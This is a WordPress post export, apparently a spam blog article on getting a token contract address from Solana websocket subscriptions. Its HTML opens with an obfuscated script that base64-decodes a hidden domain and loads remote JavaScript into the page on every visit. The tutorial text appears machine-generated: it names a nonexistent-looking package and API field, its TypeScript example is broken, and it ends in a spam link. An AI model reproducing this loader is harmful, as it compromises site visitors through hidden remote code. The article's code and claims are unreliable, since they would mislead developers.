{"id":676,"date":"2025-02-10T21:49:23","date_gmt":"2025-02-10T21:49:23","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=676"},"modified":"2025-02-10T21:49:23","modified_gmt":"2025-02-10T21:49:23","slug":"solana-how-to-get-token-ca-when-subscribing-to-websockets-for-newly-minted-coins","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=676","title":{"rendered":"Solana: How to get token CA when subscribing to websockets for newly minted coins"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=a465df02\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Getting Token CA on Newly Minted Coins using WebSockets<\/strong><\/p>\n<\/p>\n<p>As a developer, you&#8217;re likely interested in learning how to subscribe to WebSocket events for newly minted coins on Solana. In this article, we&#8217;ll explore the possibility of obtaining the token CA (Contract Address) when a new token is called from the websocket API.<\/p>\n<\/p>\n<p><strong>The Context:<\/strong><\/p>\n<\/p>\n<p>We have a specific context where we want to create a subscription to the <code>solana:subscribe<\/code> API, which returns a list of newly minted coins. We also need to obtain the contract address for each coin in the response.<\/p>\n<\/p>\n<p><strong>WebSocket API Event Structure:<\/strong><\/p>\n<\/p>\n<p>When subscribing to the WebSocket event using the <code>solana:subscribe<\/code> API, you&#8217;ll receive a message structure with several fields:<\/p>\n<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\n<\/p><p>  \"eventSignature\": string,<\/p><p>\n<\/p><p>  \"slot\": number,<\/p><p>\n<\/p><p>  \"value\": {<\/p><p>\n<\/p><p>    ... <br><h1><\/h1>field names and values ...<\/p><p>\n<\/p><p>  }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Token CA Retrieval:<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/rOo3-WoaPE4\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>The token CA is typically the address of the contract that minted the new coin. When a new token is called from the websocket API, it will include the <code>CA<\/code> field in its message structure.<\/p>\n<\/p>\n<p>To retrieve the token CA, you&#8217;ll need to parse the message structure and extract the <code>CA<\/code> field value.<\/p>\n<\/p>\n<p><strong>Example Solution:<\/strong><\/p>\n<\/p>\n<p>Here&#8217;s an example solution using TypeScript:<\/p>\n<\/p>\n<p><pre><code><\/p><p>import { WebsocketClient } from 'solana-websocket-api';<\/p><p>\n<\/p><p>\n<\/p><p>const client = new WebsocketClient({<\/p><p>\n<\/p><p>  url: '<\/p><p>\n<\/p><p>});<\/p><p>\n<\/p><p>\n<\/p><p>async function getNewlyMintedCoins() {<\/p><p>\n<\/p><p>  const subscription = await client.subscribe('new-minted-coins', { slot: 305696650 });<\/p><p>\n<\/p><p>  while (true) {<\/p><p>\n<\/p><p>    const message = await subscription.waitForMessage({<\/p><p>\n<\/p><p>      timeout: 1000,<\/p><p>\n<\/p><p>    });<\/p><p>\n<\/p><p>    if (!message) break;<\/p><p>\n<\/p><p>\n<\/p><p>    \/\/ Parse the message structure to extract CA field value<\/p><p>\n<\/p><p>    const caField = message.value;<\/p><p>\n<\/p><p>    const caAddress = caField.ca.toString();<\/p><p>\n<\/p><p>\n<\/p><p>    console.log(<code>CA address for newly minted coin ${caAddress}<\/code>);<\/p><p>\n<\/p><p>  }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Note:<\/strong> This solution assumes that the <code>solana:subscribe<\/code> API returns a list of events with a single event signature, which is the name of the event (in this case, <code>new-minted-coins<\/code>). The message structure also includes the slot number and value object.<\/p>\n<\/p>\n<p>In conclusion, you can retrieve the token CA for newly minted coins on Solana by parsing the WebSocket API event message structure. This solution provides an example code snippet to get you started.<\/p>\n<p><a href=\"https:\/\/dentalturkeyclinic.com\/bitcoin-blockchain-sync-seems-to-be-stuck-in-a-loop\/\">BITCOIN SEEMS STUCK LOOP<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Getting Token CA on Newly Minted Coins using WebSockets As a developer, you&#8217;re likely interested in learning how to subscribe to WebSocket events for newly minted coins on Solana. In this article, we&#8217;ll explore the possibility of obtaining the token CA (Contract Address) when a new token is called from the websocket API. The Context: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/676"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=676"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/676\/revisions"}],"predecessor-version":[{"id":677,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/676\/revisions\/677"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=676"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=676"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=676"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}